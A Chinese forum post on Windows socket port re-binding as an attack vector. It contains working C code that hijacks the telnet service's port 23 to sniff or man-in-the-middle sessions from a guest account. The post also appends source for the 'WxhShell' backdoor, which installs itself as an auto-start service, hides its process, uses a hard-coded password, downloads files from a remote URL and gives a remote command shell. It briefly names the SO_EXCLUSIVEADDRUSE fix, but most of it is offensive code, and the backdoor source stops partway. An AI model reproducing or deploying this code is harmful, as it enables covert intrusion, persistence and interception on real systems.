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[讨论]用端口截听实现隐藏嗅探与攻击

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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: #&0G$~  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ymH>] cUm  
1eHU!{<fqm  
  saddr.sin_family = AF_INET; Z p8\n:  
o%3i(H  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); >7g #e,d   
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); [$\KS_,Mn  
B&:9uPRzZ  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 WH|TdU$V  
%Q,6sH#  
  这意味着什么?意味着可以进行如下的攻击: 3.?G,%S5.$  
`/ <y0H  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 Sc b'  
xqm-m  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) /bdL.Y#V  
2<$pai"yl  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 'q>2WP|UY9  
7R5m|h`M  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  a]H&k$!c  
^IQtXae6M  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 DVJuX~'|!  
gq%U5J"x;J  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 ?D>%+rK8c  
`JQw]\f4>  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 i~Qnw-^B  
UHyGW$B  
  #include /{6&99SJcc  
  #include &t)$5\r  
  #include jVlXB6[-  
  #include    ,~Y[XazT  
  DWORD WINAPI ClientThread(LPVOID lpParam);   ]@Z[/z%~04  
  int main() r:{;HM+  
  { oYx4+xH/  
  WORD wVersionRequested; Ml,~@} p  
  DWORD ret; --OAsbr  
  WSADATA wsaData; Jb/VITqN4  
  BOOL val; 'p_|Rw>  
  SOCKADDR_IN saddr; P5Bva  
  SOCKADDR_IN scaddr; G*s5GG@Z.  
  int err; SI`ems{1>c  
  SOCKET s; vVhSl$mW  
  SOCKET sc; mzO5&h7  
  int caddsize; CwjKz*'[g  
  HANDLE mt; i[Qq,MmC  
  DWORD tid;   / jLb{Ky  
  wVersionRequested = MAKEWORD( 2, 2 ); ]hMs:$}  
  err = WSAStartup( wVersionRequested, &wsaData ); mUan(iJ  
  if ( err != 0 ) { *""iXi[  
  printf("error!WSAStartup failed!\n"); hKVb#|$  
  return -1; = }ELu@\V[  
  } s4uZ>  
  saddr.sin_family = AF_INET; <) cJz  
   ''^2rF^  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 3>>Ca;>$  
Y sDai<  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); x)R1aq  
  saddr.sin_port = htons(23); y(<+=  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ]FNe&o1zX  
  { $bU.6  
  printf("error!socket failed!\n"); /&N\#;kK?b  
  return -1; 5X PoQ^  
  } 5Lm-KohT'  
  val = TRUE; ;.66phe  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 dvE~EZcS  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) 42f\]R,  
  { T O&^%d  
  printf("error!setsockopt failed!\n"); |F4)&xN\  
  return -1; !_q=r[D\  
  } <<DPer2  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; }0[<xo>K  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 P^aNAa  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 j ];#=+  
EG8%X"p  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ZU$QwI8  
  { ,\ -4X  
  ret=GetLastError(); 18^K!:Of  
  printf("error!bind failed!\n"); wG&Z7C b  
  return -1; |w"G4J6ha  
  } =}" P;4:  
  listen(s,2); nt%fJ k  
  while(1) !a4`SjOgu  
  { ')T*cLQ><  
  caddsize = sizeof(scaddr); ]`q]\EH  
  //接受连接请求 y*Gq VA[  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ^V~^[Yp  
  if(sc!=INVALID_SOCKET) R5 i xG9  
  { _'|C-j`u$  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); * V_b/Vt  
  if(mt==NULL) ef@F!s_fI  
  { +4n}H}9l  
  printf("Thread Creat Failed!\n"); >]HvXEdNZ|  
  break; ta@fNS4  
  } R2==<"gq  
  } aI>F8R?  
  CloseHandle(mt); !gL1  
  } G?^w <  
  closesocket(s); z5_jx&^Z  
  WSACleanup(); \j<aFOT(  
  return 0; : sG/  
  }   l1.eAs5U  
  DWORD WINAPI ClientThread(LPVOID lpParam) \qDY0hIv t  
  { Mr*CJgy  
  SOCKET ss = (SOCKET)lpParam; r]'[qaP  
  SOCKET sc; ]5Q)mWF  
  unsigned char buf[4096]; CD. XZA[  
  SOCKADDR_IN saddr; wHZ(=z/q  
  long num; kT%m`  
  DWORD val; fo=@ X>S  
  DWORD ret; pxI[/vS N  
  //如果是隐藏端口应用的话,可以在此处加一些判断 BM9:|}\J65  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   .] 0:`Y,;  
  saddr.sin_family = AF_INET; *x)u9rO]  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); dP<i/@21Wm  
  saddr.sin_port = htons(23); 8PqlbLo1  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) jgqeDl\=+  
  { .kyes4Z  
  printf("error!socket failed!\n"); E<p<"UjcCJ  
  return -1; sZwa#CQKq  
  } Ld'3uM/  
  val = 100; tR .>d  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) "u'dd3!  
  { -M+o;  
  ret = GetLastError(); /IG3>|R  
  return -1; 1]W8A.ZS  
  } f7a"}.D $  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) [U$`nnp  
  { 3t5W wrNh  
  ret = GetLastError(); e +jp,>(v  
  return -1; RDeI l&  
  } Z1h6Y>j  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) -^*8D(j*  
  { ]vuxeu[cu,  
  printf("error!socket connect failed!\n"); djn<Oc`  
  closesocket(sc); S] 4RGWn  
  closesocket(ss); r!^VCA  
  return -1; vos-[$  
  } ZSB;4 ?:h  
  while(1) fc<,kRp  
  { OTEx9  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 j'XND`3  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 w[uw hd  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 1`1Jn*|TI  
  num = recv(ss,buf,4096,0); lrgvY>E0  
  if(num>0) /GA-1cS_(  
  send(sc,buf,num,0); 5r0Sl89J  
  else if(num==0)  "2 }n(8  
  break; Q@s G6 iz  
  num = recv(sc,buf,4096,0); {\ VmNnw  
  if(num>0) ;`Sn66&  
  send(ss,buf,num,0); ?U,XyxN  
  else if(num==0) [C3wjYi  
  break; wh3Wuh?x  
  } h  m(  
  closesocket(ss); $wcV~'fM  
  closesocket(sc); 9Z:pss@  
  return 0 ; 6f J5Y iQ  
  } OSK:Cb.-?F  
"-Uqv@  
@ 3b-  
========================================================== hAB:;r XlI  
3ZAzv en  
下边附上一个代码,,WXhSHELL I^O`#SA(  
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========================================================== ?`B6I!S0[  
+7t:/_b~  
#include "stdafx.h" )IuwI#pm  
Lf,C5 0  
#include <stdio.h> =/N0^  
#include <string.h> =Q8$O 2TW  
#include <windows.h> I -XkxDw  
#include <winsock2.h> ,`(Qs7)Xx  
#include <winsvc.h> yiczRex%rq  
#include <urlmon.h> /j:-GJb*!u  
]r1Lr{7^S  
#pragma comment (lib, "Ws2_32.lib") tTe:Oq  
#pragma comment (lib, "urlmon.lib") Csm23QLsg)  
FFc?Av?_  
#define MAX_USER   100 // 最大客户端连接数 C 2?p>S/q  
#define BUF_SOCK   200 // sock buffer h-@_.&P0e  
#define KEY_BUFF   255 // 输入 buffer z"!=A}i  
B 3eNvUFZg  
#define REBOOT     0   // 重启 s`L>mRw`  
#define SHUTDOWN   1   // 关机 c`V~?]I>  
p{JE@TM  
#define DEF_PORT   5000 // 监听端口 3UGdXufw  
3 J\&t4q  
#define REG_LEN     16   // 注册表键长度 1c $iW>0K  
#define SVC_LEN     80   // NT服务名长度 WoWBZ;+U  
U&6f:IV  
// 从dll定义API gk"J+uM  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 9riKSp:5  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ="[6Z$R  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); m6 a @Y<  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); Va\?"dH>M  
!xD_=O  
// wxhshell配置信息 28o!>*  
struct WSCFG { SVT'fPm1M  
  int ws_port;         // 监听端口 }/z\%Y  
  char ws_passstr[REG_LEN]; // 口令 4!<[5+.  
  int ws_autoins;       // 安装标记, 1=yes 0=no Oc^bbC  
  char ws_regname[REG_LEN]; // 注册表键名 oFS)3.  
  char ws_svcname[REG_LEN]; // 服务名 Z9lfd6MU,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 #]Q.B\\  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 K-7i4 ~  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 G;bE_O  
int ws_downexe;       // 下载执行标记, 1=yes 0=no Y.8mgy>   
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" mr`EcO0  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 qC YXkZ%`  
N:rnH:g+:  
}; iLkP@OYgQ  
CA ,0Fe3  
// default Wxhshell configuration J_ `\}55n  
struct WSCFG wscfg={DEF_PORT, B ? D|B  
    "xuhuanlingzhe", 4N{^niq7  
    1, b~m|mb$  
    "Wxhshell", }MV=t7x9+  
    "Wxhshell", T8J[B( )L  
            "WxhShell Service", n5 jzVv  
    "Wrsky Windows CmdShell Service", y :8Oc?  
    "Please Input Your Password: ", z,=k F I  
  1, mdIa`OZr  
  "http://www.wrsky.com/wxhshell.exe", 8Vqh1<  
  "Wxhshell.exe" KfLp cV  
    }; )Waz bT@  
gR) )K)  
// 消息定义模块 6\?< :Qto  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Kg;1%J>ee  
char *msg_ws_prompt="\n\r? for help\n\r#>"; "npLl]XM  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; _cH 7lO[  
char *msg_ws_ext="\n\rExit."; c*x5t"{  
char *msg_ws_end="\n\rQuit."; )~[hf,R5S  
char *msg_ws_boot="\n\rReboot..."; (SYSw%v$A  
char *msg_ws_poff="\n\rShutdown..."; <f`G@  
char *msg_ws_down="\n\rSave to "; - AxO1 qO  
OO+QH 2j  
char *msg_ws_err="\n\rErr!"; khtSZ"8X  
char *msg_ws_ok="\n\rOK!"; m|+g_JZ  
Sj<WiQ%<  
char ExeFile[MAX_PATH]; gEU|Bx/!=  
int nUser = 0; sYb(g'W*'  
HANDLE handles[MAX_USER]; O9]+Jd4W  
int OsIsNt; (lVHKg&U[  
m339Y2%=  
SERVICE_STATUS       serviceStatus; -V)DKf"f  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; -:o4|&g<*  
P ||:?3IH  
// 函数声明 2hI|] p  
int Install(void); ];1Mg  
int Uninstall(void); m`Ver:{  
int DownloadFile(char *sURL, SOCKET wsh); 8z h{?0  
int Boot(int flag); ri k0F  
void HideProc(void); $Y5m"wySZ  
int GetOsVer(void); d% :   
int Wxhshell(SOCKET wsl); /^<Uy3F[p  
void TalkWithClient(void *cs); [q{[Avqf  
int CmdShell(SOCKET sock); UMbM3m=\  
int StartFromService(void); L) ]|\|  
int StartWxhshell(LPSTR lpCmdLine); %Cz&7qf"  
na1*^S`[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); I ;Sm<P7*  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ? @Y'_f  
cRhu]fv()  
// 数据结构和表定义 &%Lps_+fJ  
SERVICE_TABLE_ENTRY DispatchTable[] = Qs5^kddz=  
{ <r'l5|er  
{wscfg.ws_svcname, NTServiceMain},  iFy_ D  
{NULL, NULL} /!mF,oR!  
}; CQx#Xp>=s  
k*3F7']8  
// 自我安装 ~SRK}5E  
int Install(void) 09SLQVo  
{ ``Wf%~  
  char svExeFile[MAX_PATH]; :_FnQhzg  
  HKEY key; %`[Oz[V  
  strcpy(svExeFile,ExeFile); OF)G 2>t  
'-7rHx  
// 如果是win9x系统,修改注册表设为自启动 Ej]:j8^W  
if(!OsIsNt) { plRBfw>]N  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Z4 +6'  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); zFqlTUD`t  
  RegCloseKey(key); VNcxST15a  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { wjm_bEi  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); :q0TS>l  
  RegCloseKey(key); jr<`@  
  return 0; S_VZ^1X]  
    } u2G{I?  
  } :mwJJIjUW  
} eI7FbOze  
else { =-e` OHA  
M;\iL?,  
// 如果是NT以上系统,安装为系统服务 N%k6*FBp~  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5QjM,"`mp  
if (schSCManager!=0) )oRF/Xx`g  
{ '518S"T @  
  SC_HANDLE schService = CreateService U$fh ~w<[  
  ( #MyR:V*a  
  schSCManager, dp3>G2Yq  
  wscfg.ws_svcname, ?W*{% my  
  wscfg.ws_svcdisp, Nj<}t/e  
  SERVICE_ALL_ACCESS, o& GS;{Rs  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , G' 5p/:  
  SERVICE_AUTO_START, gxIGL-1M  
  SERVICE_ERROR_NORMAL, d@a FW  
  svExeFile, O"$uw  
  NULL, I$Bu6x!  
  NULL, CHeU?NtFps  
  NULL, Stkyz:,(  
  NULL, Ca&5"aki  
  NULL zF9SZ#{a  
  ); 4' ym vR  
  if (schService!=0) L"|~,SVF  
  {  jIMT&5k  
  CloseServiceHandle(schService); -_bnGY%,  
  CloseServiceHandle(schSCManager); *f[nge&.  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); G^`IfF-j  
  strcat(svExeFile,wscfg.ws_svcname); kPm{tc  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ETw7/S${  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); hGPo{>xR  
  RegCloseKey(key); mIK-a{?G  
  return 0; TzC'x WO  
    } /A8ua=Kn  
  } (aAv7kB&  
  CloseServiceHandle(schSCManager); X0\2qD  
} -bN;nSgb  
} )"W(0M] >  
Z r}5)ZR.  
return 1; _.9):i2<SF  
} CEwMPPYnD  
|,3>A@  
// 自我卸载 TSGJ2u5ie%  
int Uninstall(void)  `UC  
{ #Sxk[[KwH*  
  HKEY key; cmLGMlFT  
.l| [e  
if(!OsIsNt) { 66P'87G  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Rqi= AQ  
  RegDeleteValue(key,wscfg.ws_regname); 1G0U}-6RH  
  RegCloseKey(key); 5r*5Co+  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { eI+<^p_j2  
  RegDeleteValue(key,wscfg.ws_regname); {`FkiB` i  
  RegCloseKey(key); SXYH#p  
  return 0; ne]P-50  
  } {t.5cX"[  
} k`l={f8C  
} emhI1 *}  
else { 'pCZx9 *c  
!Ez5@  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); !e8OC9 _x  
if (schSCManager!=0) wLF;nzv  
{ J**-q(>  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); ;_o1{?~  
  if (schService!=0) y9K U&L2  
  { p#5U[@TK  
  if(DeleteService(schService)!=0) { )\ `AD#  
  CloseServiceHandle(schService); +3a} ~pW  
  CloseServiceHandle(schSCManager); BHVC&F*>  
  return 0; y&ZyThqg  
  } B3+9G,or  
  CloseServiceHandle(schService); [y(DtOR  
  } -8HK_eQn  
  CloseServiceHandle(schSCManager); Dl a }-A:  
} (i1 JDe  
} N~""Lc&  
p?uk|C2  
return 1; BBV"nm_(/  
} YUzx,Y>k  
|fL|tkGEa  
// 从指定url下载文件 mH1T|UI  
int DownloadFile(char *sURL, SOCKET wsh) N\,[(LbA&  
{ P3 Wnso  
  HRESULT hr; PykVXZ7j;  
char seps[]= "/"; ;6 ?a8t@  
char *token; 50s1o{xwc  
char *file; o1kTB&E4B  
char myURL[MAX_PATH]; IhIz 7.|  
char myFILE[MAX_PATH]; %DK0s(*w0  
(yx^zW7  
strcpy(myURL,sURL); wMW."gM|  
  token=strtok(myURL,seps); RP@U0o  
  while(token!=NULL) /C[Q?  
  { q,i&%  
    file=token; *^ZJ&.  
  token=strtok(NULL,seps); J!{t/_aw  
  } B(pxyv)  
f`$F^=  
GetCurrentDirectory(MAX_PATH,myFILE); ,4Q1[K35B  
strcat(myFILE, "\\"); 3WVH8Sb  
strcat(myFILE, file); Fy; sVB  
  send(wsh,myFILE,strlen(myFILE),0); ,Y:ET1:  
send(wsh,"...",3,0); fY4I(~Q  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ~ u)} /  
  if(hr==S_OK) W)_|jpd[  
return 0; kB)u@`</mV  
else V< Ib#rd'  
return 1; *:5S*E&}V  
K2XRKoG  
} :17Pc\:DS  
~WjK'N4n5  
// 系统电源模块 X[ 6#J  
int Boot(int flag) OH\(;RN*  
{ Dru iiA  
  HANDLE hToken; kF;N}O2?{  
  TOKEN_PRIVILEGES tkp;  )>=!</@  
oimM)Yo  
  if(OsIsNt) { F@tfbDO?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); _xefFy  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'mELW)S  
    tkp.PrivilegeCount = 1; Hk1[0)  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; O"M2*qiH  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); >\7M f@c  
if(flag==REBOOT) { V&h{a8xa$  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) E/3i _R  
  return 0; _qxBjB4t"a  
} S8j!?$`  
else { C09rgEB\B  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) {;L,|(o^  
  return 0; Cqs+ o^q  
} W ZT) LYA  
  } YYN'LF#j  
  else { 4St-Q]Y _  
if(flag==REBOOT) { BXb=N E  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) fTOGW`s^  
  return 0; 7D KTd^^M  
} 83adnm  
else { /fSsh;F  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) 8\X-]Gh\^  
  return 0; Q}: $F{  
} {>3J96  
} :cxA  
EY`]""~8v  
return 1; ${h1(ec8  
} M ZAz= )-  
S}b^_+UbP  
// win9x进程隐藏模块 {E;oirv&  
void HideProc(void) ri`;   
{ uq2C|=M-x\  
kz*6%Cg*~  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P;G]qV%  
  if ( hKernel != NULL ) :O'QL,  
  { U2Tw_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); ^OOoo2  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 3&!v"ms  
    FreeLibrary(hKernel); _-T^YeQ/  
  } bzXeG;c<7  
`h'7X(  
return; ~>#?.f  
} {pc  (b  
x[y}{T  
// 获取操作系统版本 #Dea$  
int GetOsVer(void) p9E/#U8A_  
{ wVq9t|V  
  OSVERSIONINFO winfo; 8 :;]tt  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ;nx.:f  
  GetVersionEx(&winfo); bt};Pn{3  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) SsEpuEn  
  return 1; ICEyz| C  
  else D$AvD7_  
  return 0; 1u8hnG  
} +MqJJuWB  
Hz"FGwd  
// 客户端句柄模块 'T|EwrS j  
int Wxhshell(SOCKET wsl) !Ln 'Mi_B  
{ hD[r6c  
  SOCKET wsh; AHo}K\O?r  
  struct sockaddr_in client; M>Q3;s  
  DWORD myID; zsLMROo3  
9X&=?+f  
  while(nUser<MAX_USER) kWacc&*|  
{ bzr QQQ  
  int nSize=sizeof(client); Hr7?#ZX;e  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); -<ome~|  
  if(wsh==INVALID_SOCKET) return 1;  )$GCur~  
e"%uOuIYX  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); oj[~H}>  
if(handles[nUser]==0) kL F~^/  
  closesocket(wsh); lbX YWZ~7  
else Lq62  
  nUser++; 1cc~UQ  
  } id9XwWV  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); >,QCKZH  
lGt:.p{NG  
  return 0; 9q+W>wt  
} n2~WUK  
Ai"MJ6)  
// 关闭 socket qW4DW4  
void CloseIt(SOCKET wsh) +\*b?x  
{ :7i x`C2  
closesocket(wsh); Eg&:yF}?(  
nUser--; )4h|7^6ji  
ExitThread(0); A.mFa1lH  
} !x:{"  
U[2;Fkapi  
// 客户端请求句柄 wwRPfr[  
void TalkWithClient(void *cs) ~BqC!v.)@E  
{ %#o@c  
<d"nz:e  
  SOCKET wsh=(SOCKET)cs; Fe %Vp/  
  char pwd[SVC_LEN]; vcCNxIzEG  
  char cmd[KEY_BUFF]; Io"3wL)2  
char chr[1]; d >NO}MR  
int i,j; d&AO 4^  
^<Gxip  
  while (nUser < MAX_USER) { A|4om=MO  
3AglvGK7{  
if(wscfg.ws_passstr) { a~J!G:(  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 5}Id[%.x  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8#HnV%|N  
  //ZeroMemory(pwd,KEY_BUFF); jo0XF]  
      i=0; LEOri=?RF  
  while(i<SVC_LEN) { T*gG <8  
%t$KVV  
  // 设置超时 71>,tq  
  fd_set FdRead; 7_P33l8y  
  struct timeval TimeOut; ]l C2YD}  
  FD_ZERO(&FdRead); V']Z_$_  
  FD_SET(wsh,&FdRead); 'sXrtl7{^  
  TimeOut.tv_sec=8; YXZP-=fB>i  
  TimeOut.tv_usec=0; g4Q' Fub+I  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); P(FlU]q  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); pg!MtuC}  
|x.^rx`  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); AE+BrN +"2  
  pwd=chr[0]; H2H[DVKv  
  if(chr[0]==0xd || chr[0]==0xa) { XI |k,Ko<  
  pwd=0; Rnoz[1y?0  
  break; c~~4eia)  
  } ke!  
  i++; S~ Z<-@S  
    } )/vom6y*   
iqdU?&.;  
  // 如果是非法用户,关闭 socket P 4t@BwU$  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); `)5WA{z  
} F\&{>&  
\+nV~Pi"A  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); &tvtL  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); a] 7g\rg)  
:aBxyS*}G  
while(1) { ,}]v7DD  
M]p-<R\  
  ZeroMemory(cmd,KEY_BUFF); k7Qs#L  
ZgG~xl\My  
      // 自动支持客户端 telnet标准   9) ,|h  
  j=0; {aq)Y>o5:T  
  while(j<KEY_BUFF) { ~c<8;,cjYR  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); S5u$I  
  cmd[j]=chr[0]; ^"D^D`$@  
  if(chr[0]==0xa || chr[0]==0xd) { {Q37a=;,  
  cmd[j]=0; NN2mOJ:-  
  break; W6}>iB  
  } q^<HG]  
  j++; j'U1lEZm2  
    } K:jn^JN$  
i!}6FB Z  
  // 下载文件 Axns  
  if(strstr(cmd,"http://")) { 2"?DaX  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); SepwMB4@  
  if(DownloadFile(cmd,wsh)) bEj}J_#  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); \?R#ZxP@  
  else EnlAgL']|  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :H3/+/x  
  } i0$*):b  
  else { yU&;\'  
KUYwc@si\  
    switch(cmd[0]) { Z#Kf%x.  
  &PRoT#,  
  // 帮助 J,)ytw]  
  case '?': { [|1I.AZ{  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); aQ $sn<-l  
    break; xSd&xwP  
  } {pH#zs4Y  
  // 安装 ~WTkX(\  
  case 'i': { 8ta @@h  
    if(Install()) C0/^6Lu"o  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); /q\e&&e  
    else ~a[ /l  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); bA,Zfsr6#  
    break; mi<Q3;m  
    } X*@ tp,t  
  // 卸载 `j@1]%&z  
  case 'r': { m N}szW,  
    if(Uninstall()) {eI'0==  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); t4#gW$+^?H  
    else r!dWI  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); QK+,63@D\=  
    break; KzO"$+M  
    } YwET.(oo  
  // 显示 wxhshell 所在路径 Uzzm2OS`  
  case 'p': { s$>n U  
    char svExeFile[MAX_PATH]; <^Vj1s  
    strcpy(svExeFile,"\n\r"); :=;{w~D  
      strcat(svExeFile,ExeFile); }R#W<4:  
        send(wsh,svExeFile,strlen(svExeFile),0); Ve|:k5z  
    break; f0 sGE5  
    } "E\mj'k  
  // 重启 $Y6\m`  
  case 'b': { \H:T)EVy  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); CA0XcLiFt  
    if(Boot(REBOOT)) rX?ZUw?u&  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9/{zS3h3  
    else { eNK +)<PK(  
    closesocket(wsh); .>F4s_6l  
    ExitThread(0); \ m~?yq8H  
    } Zf@B< m  
    break; Dho6N]86r  
    } 3._ ep  
  // 关机 6 Ln~b<I  
  case 'd': { T9Q3I  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o= ($'(1  
